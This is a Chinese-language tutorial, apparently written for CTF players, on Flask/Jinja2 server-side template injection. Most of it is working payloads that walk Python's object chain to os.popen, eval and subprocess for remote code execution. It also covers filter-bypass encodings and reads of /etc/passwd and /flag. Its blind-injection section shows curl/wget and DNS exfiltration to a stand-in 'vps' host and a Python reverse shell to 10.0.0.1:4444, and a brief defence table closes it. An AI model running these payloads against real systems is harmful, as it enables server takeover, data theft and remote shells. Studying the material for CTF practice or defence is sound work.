## 前言 SSTI(Server-Side Template Injection,服务端模板注入)是 Flask/Jinja2 中最经典的漏洞类型。当用户输入被直接拼入 `render_template_string()` 时,攻击者可以通过 Jinja2 的模板语法访问 Python 对象,沿着继承链(MRO)追溯到 `object`、遍历子类、找到危险函数(`os.popen`、`subprocess.Popen`、`__builtins__.eval` 等),最终实现 RCE。 本文从 Jinja2 模板引擎的基础语法出发,系统覆盖 SSTI 的对象链原理、常用可调用类、13 种绕过技巧、变量声明与字符串构造、以及无回显利用方式。 --- ## 一、SSTI 基础 ### 1.1 漏洞成因
1
2
3
4
5
6
7
8
9
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
name = request.args.get('name', 'Guest')
template = '<h2>Hello %s!</h2>' % name # 用户输入直接拼入模板!
return render_template_string(template)
测试 Payload:`?name={{7*7}}` → 返回 `49`,确认 SSTI。 ### 1.2 Python 对象继承链(MRO) SSTI 的核心是利用 Python 的 **MRO(Method Resolution Order,方法解析顺序)** 和 **`__subclasses__()`** 遍历整个类继承树。
1
2
3
4
5
''(空字符串,str 实例)
→ __class__ → <class 'str'>
→ __base__ → <class 'object'> (或 __mro__[-1] 或 __bases__[0])
→ __subclasses__() → [<class 'type'>, <class 'weakref'>, ..., <class 'os._wrap_close'>, ...]
遍历这个列表找到包含危险函数的类
**关键属性链:** | 属性 | 起点 | 到达 | |---|---|---| | `.__class__` | 任意对象 | 该对象所属的类 | | `.__mro__` | 类 | 该类的 MRO 元组 `(自己, 父类, ..., object)` | | `.__base__` | 类 | 直接父类(第一个基类) | | `.__bases__` | 类 | 所有基类的元组 | | `.__subclasses__()` | 类 | 该类的所有直接子类列表 | | `.__init__` | 类 | 该类的构造函数 | | `.__globals__` | 函数/方法 | 函数所在模块的全局命名空间字典 | **起步对象(几乎总是可用的):**
1
2
3
4
5
6
7
8
''                 # 空字符串
[] # 空列表
{} # 空字典
() # 空元组
config # Flask config 对象(Jinja2 上下文中可用)
url_for # Flask 的 url_for 函数
lipsum # Jinja2 的 lipsum 函数
get_flashed_messages # Flask 的闪现消息函数
--- ## 二、寻找可利用类 遍历 `object.__subclasses__()` 找到包含危险函数的类,核心套路有三种。 ### 2.1 `` —— 直接读文件(Python 2)
1
{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}
Python 2 中 `file` 类的构造函数直接打开文件。Python 3 中 `file` 类已删除,应改用 `open`。 ### 2.2 `os._wrap_close` —— `popen` 直接执行命令
1
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}}
`os._wrap_close` 的 `__init__.__globals__` 中直接包含 `popen`(因为它在 `os` 模块内部定义)。 ### 2.3 `__builtins__` 链 —— 最通用的路径 找到任意一个 `__globals__` 中包含 `__builtins__` 的类,就可以通过 `__import__` 或 `eval` 执行任意代码。 **常见包含 `__builtins__` 的类:** | 类 | 典型用途 | |---|---| | `warnings.catch_warnings` | `__builtins__['__import__']` | | `os._wrap_close` | `__globals__['os']` 或 `__builtins__` | | `_sitebuiltins.Quitter` | `__builtins__['eval']` | | `codecs.StreamReaderWriter` | `__builtins__['__import__']` | | `types.ModuleType` | `__builtins__.__import__` | **payload 一:`__import__` 导入 `os`**
1
2
3
{{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}}

{{"".__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
**payload 二:`eval` 执行任意代码**
1
2
3
4
5
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')}}

{{"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, 'os.system("ls")')}}
> **`__mro__[-1]` 小技巧:** MRO 元组的最后一个元素始终是 `object`,等价于 `__base__`。某些题目可能过滤了 `__base__`,但没过滤 `__mro__`。 ### 2.4 `importlib` 的 `load_module` —— 正规化模块加载
1
{{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}}
`importlib` 中的 `load_module` 方法可以直接按名字加载任意模块,不需要 `__builtins__.__import__`。 ### 2.5 `linecache` 模块 —— 间接拿到 `os` `linecache` 是标准库中的缓存行读取模块,其内部导入了 `os`。
1
2
3
4
5
{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}}

{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}

{{[].__class__.__base__.__subclasses__()[168].__init__.__globals__.linecache.os.popen('ls /').read()}}
**包含 `linecache` 或类似模块的类:** - `` - 某些 `gdb` 模块的类(Python debugger) - `linecache` 自身的一些内部类 ### 2.6 `_frozen_importlib_external.FileLoader` —— `get_data` 读文件
1
{{''.__class__.__base__.__subclasses__()[94]["get_data"](0, "/flag")}}
`FileLoader.get_data(path, source_path)` 可以直接读取任意文件,不需要 `open()` 或 `os.popen`。 ### 2.7 `subprocess.Popen` —— 最完整的命令执行
1
{{''.__class__.__base__.__subclasses__()[407]('cat /flag', shell=True, stdout=-1).communicate()[0].strip()}}
**参数说明:** | 参数 | 含义 | |---|---| | `'cat /flag'` | 要执行的命令 | | `shell=True` | 通过 shell 执行命令 | | `stdout=-1` | 将标准输出重定向到管道(`subprocess.PIPE`) | | `.communicate()` | 与子进程交互,返回 `(stdout_data, stderr_data)` 元组 | | `[0]` | 取标准输出 | | `.strip()` | 去除首尾空白 | --- ## 三、绕过技巧 ### 3.1 `[]` 绕过 —— 用函数代替中括号
1
2
3
4
5
6
7
8
# 原始写法(中括号下标访问)
{{url_for.__globals__['__builtins__']}}

# 替代写法
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}
> 同理,`"".__class__` 等价于 `"".__getattribute__("__class__")` —— 当 `.` 被过滤时可用 `|attr()` 或 `__getattribute__`。 ### 3.2 `{{}}` 过滤 —— 用 `{% %}` 代替
1
2
3
4
5
# 原始写法
{{"".__class__}}

# 替代写法
{%print("".__class__)%}
`{% print(...) %}` 同样会输出结果,且使用了不同的 Jinja2 语法块。 ### 3.3 引号绕过 —— 用 request 对象传参
1
2
3
4
5
6
# 原始写法(硬编码字符串)
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__.open('/etc/passwd').read()}}

# 绕过写法(字符串由用户通过请求传入)
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}
&arg1=open&arg2=/etc/passwd
**request 对象可用的属性:** | 属性 | 参数来源 | |---|---| | `request.args.key` | GET 参数 | | `request.form.key` | POST 表单(`application/x-www-form-urlencoded` / `multipart/form-data`) | | `request.values.key` | GET + POST 合在一起(POST 覆盖 GET) | | `request.cookies.key` | Cookie | | `request.headers.key` | 请求头 | | `request.data` | POST 原始 body | | `request.json` | POST JSON(`Content-Type: application/json`) | ### 3.4 关键字(`__class__` 等)被过滤 #### 方法一:字符串拼接
1
2
3
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""['_''_''cla''ss''_''_']
#### 方法二:字符串反转
1
2
""["__ssalc__"[::-1]]
"".__getattribute__("__ssalc__"[::-1])
#### 方法三:`join` 过滤器拼接
1
2
3
{{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
""[['__clas','s__']|join]
""[('__clas','s__')|join]
#### 方法四:`replace` 替换
1
2
3
"__claee__"|replace("ee","ss")          # → __class__
"__ssalc__"|reverse # → __class__
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
#### 方法五:ASCII 转换(`format`)
1
2
3
4
5
"{0:c}".format(97)  # → 'a'

# 构造 __class__
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)
# → '__class__'
#### 方法六:十六进制编码
1
2
3
4
"__class__" == "\x5f\x5fclass\x5f\x5f" == "\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"

# payload
{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
> `\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f` = `__import__` #### 方法七:Hex 编码(`\x` 转义)
1
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}
| 原始字符串 | Hex 编码 | |---|---| | `__builtins__` | `\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f` | | `eval` | `\x65\x76\x61\x6c` | #### 方法八:Unicode 编码
1
2
3
4
{%print((((lipsum|attr("__globals__"))|attr("get")("os"))|attr("popen")("tac /f*"))|attr("read")())%}

# 等价于:
# lipsum.__globals__['os'].popen('tac /f*').read()
| Unicode | 含义 | |---|---| | `__globals__` | `__globals__` | | `get` | `get` | | `popen` | `popen` | | `read` | `read` | #### 方法九:配合 request 对象
1
2
{{(((lipsum|attr(request.args.arg1))|attr(request.args.arg2)(request.args.arg3))|attr(request.args.arg4)(request.args.arg5))|attr(request.args.arg6)()}}
&arg1=__globals__&arg2=get&arg3=os&arg4=popen&arg5=cat%20/flag&arg6=read
#### 方法十:全角字符绕过
1
{{open('/flag').read()}}
Python 和 Jinja2 对部分 Unicode 全角字符有特殊的归一化处理。 #### 方法十一:过滤器 `attr()` 绕过 `.`
1
2
3
4
5
6
7
8
# 原始写法
{{().__class__}}

# attr 写法
{{()|attr("__class__")}}

# 完整链
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
### 3.5 绕过 `__init__` —— 用 `__enter__` 或 `__exit__`
1
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
`__enter__` 和 `__exit__` 是上下文管理器的特殊方法,它们和 `__init__` 一样也有 `__globals__` 属性。 ### 3.6 快捷入口 #### `lipsum` Jinja2 的内置全局函数,是一个普通的 Python 函数对象,可以直接拿 `__globals__`:
1
2
{{lipsum.__globals__['os'].popen('whoami').read()}}
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
#### `url_for` Flask 模块的全局函数,同样直接可达 `__globals__`:
1
2
{{url_for.__globals__['os'].popen('whoami').read()}}
{{url_for.__globals__['current_app'].config}}
--- ## 四、高阶模块——变量声明与字符串构造 ### 4.1 Jinja2 的流程控制语句
1
2
3
4
5
6
7
8
9
10
11
# 声明变量
{% set x = 'abcd' %}

# 循环
{% for i in ['a','b','c'] %}{{i}}{% endfor %}

# 条件语句
{% if 25 == 5*5 %}{{1}}{% endif %}

# 字符串拼接
{% set a = '__cla' %}{% set b = 'ss__' %}{{""[a ~ b]}}
**实战:遍历子类找到 `catch_warnings`,读源码**
1
2
3
4
5
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
> `for` 循环 + `if` 筛选 = 不需要记住索引号,动态查找目标类。 ### 4.2 从零构造字符串——`__` 的拼接 当所有关键字(包括 `_`)都被过滤时,先构造出 `_` 字符,再拼接出所有需要的属性名:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ()|select|string → <generator object select_or_reject at 0x0000022717FF33C0>
# 转成 list 取下标,从输出中拿到下划线字符
{% set a = (()|select|string|list)|pop(24) %} # 构造出 '_'

{% set ini = (a, a, dict(init=a)|join, a, a)|join %} # __init__
{% set glo = (a, a, dict(globals=a)|join, a, a)|join %} # __globals__
{% set geti = (a, a, dict(getitem=a)|join, a, a)|join %}# __getitem__
{% set buil = (a, a, dict(builtins=a)|join, a, a)|join %}# __builtins__

{% set x = (x|attr(ini)|attr(glo)|attr(geti))(buil) %} # 拿到 builtins
{% set chr = x.chr %} # chr 函数

# 用 chr 拼出 /flag
{% set file = chr(47) ~ chr(102) ~ chr(108) ~ chr(97) ~ chr(103) %}

{% print(x.open(file).read()) %}
**原理拆解:**
1
2
3
4
5
6
7
8
()|select|string → "<generator object ...>" 
→ 第 25 个字符恰好是 '_'

dict(init=a)|join → "init" (字典的 key 被 join 成字符串)
→ 前后加上 _ → "__init__"

最终:x = <builtins 模块>
→ x.open(...) = 原生的 open 函数
### 4.3 利用 `|string` 从对象类型字符串中提取字符
1
2
().__class__        # → <class 'tuple'>
(().__class__|string)[0] # → '<'
任何对象转字符串后都可能包含需要的字符,遍历索引即可取用。 --- ## 五、无回显 SSTI 有些场景下模板执行结果不会直接显示在页面上(盲 SSTI),需要外带数据或写文件。 ### 5.1 写出到 static 目录 Flask 的 `static` 目录文件可直接访问。将命令结果写入该目录:
1
2
3
4
{{lipsum.__globals__['os']['popen']('whoami > ./static/out.txt')}}

# 先创建目录再写入
{{lipsum.__globals__['os']['popen']('mkdir static; whoami > ./static/out.txt')}}
然后访问 `http://target/static/out.txt` 获取结果。 ### 5.2 curl / wget 外带数据
1
2
3
{{lipsum.__globals__['os'].popen('curl http://vps:8080/$(cat /flag | base64)').read()}}

{{lipsum.__globals__['os'].popen('wget http://vps:8080/$(whoami)').read()}}
### 5.3 DNS 外带(超长命令场景)
1
{{lipsum.__globals__['os'].popen('ping -c 1 $(whoami).dnslog.example.com').read()}}
### 5.4 反弹 shell
1
{{lipsum.__globals__['os'].popen('python -c "import socket,os,pty;s=socket.socket();s.connect((\"10.0.0.1\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"').read()}}
--- ## 六、总结 ### 6.1 攻击链全景图
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SSTI 注入点

├─ 起步对象: '' / [] / () / config / url_for / lipsum

├─ 沿 MRO 链: __class__ → __bases__[0] / __mro__[-1] → __subclasses__()

├─ 找目标类:
│ ├─ os._wrap_close → __globals__['popen']
│ ├─ catch_warnings → __globals__['__builtins__']['eval']
│ ├─ FileLoader → get_data()
│ └─ subprocess.Popen → communicate()

├─ 绕过: []|{} 引号 关键字 . 等 → attr/replace/reverse/hex/unicode

└─ 利用: RCE / 文件读 / 文件写 / 外带数据
### 6.2 类索引的版本差异性 **重要:** `__subclasses__()` 的列表顺序取决于 Python 版本、已加载的模块、Flask/Werkzeug 版本。**你在网上搜到的索引号(如 `[128]`、`[59]`)在目标环境中大概率不准确。** **正确做法:** 1. 先用 `for` 循环 + `if c.__name__` 动态查找目标类的索引 2. 或在本地搭建相同版本的 Python + Flask 环境,`print([c.__name__ for c in ().__class__.__bases__[0].__subclasses__()])` 确认索引
1
2
3
4
5
6
7
# 本地确认索引
import flask # 确保 flask 已导入,子类列表会包含相关类

for i, c in enumerate(().__class__.__bases__[0].__subclasses__()):
name = getattr(c, '__name__', '')
if 'wrap' in name or 'warning' in name or 'Popen' in name:
print(f"[{i}] {name}")
### 6.3 防御措施 | 措施 | 说明 | |---|---| | **不拼接用户输入到模板** | 用 `render_template('page.html', name=name)` 而非 `render_template_string()` | | **沙箱模式** | Jinja2 的 `SandboxedEnvironment` 可以禁用危险属性和函数 | | **过滤模板语法** | 在拼接前过滤用户输入中的 `{{` `}}` `{%` `%}` `{#` `#}` | | **最小权限** | 运行 Flask 的用户不应该有敏感文件读取和执行命令的权限 | --- ## 参考 - [Jinja2 模板引擎文档](https://jinja.palletsprojects.com/) - [PortSwigger — SSTI](https://portswigger.net/web-security/server-side-template-injection) - [Python 数据模型 — MRO](https://docs.python.org/3/reference/datamodel.html) - [HackTricks — SSTI in Flask/Jinja2](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)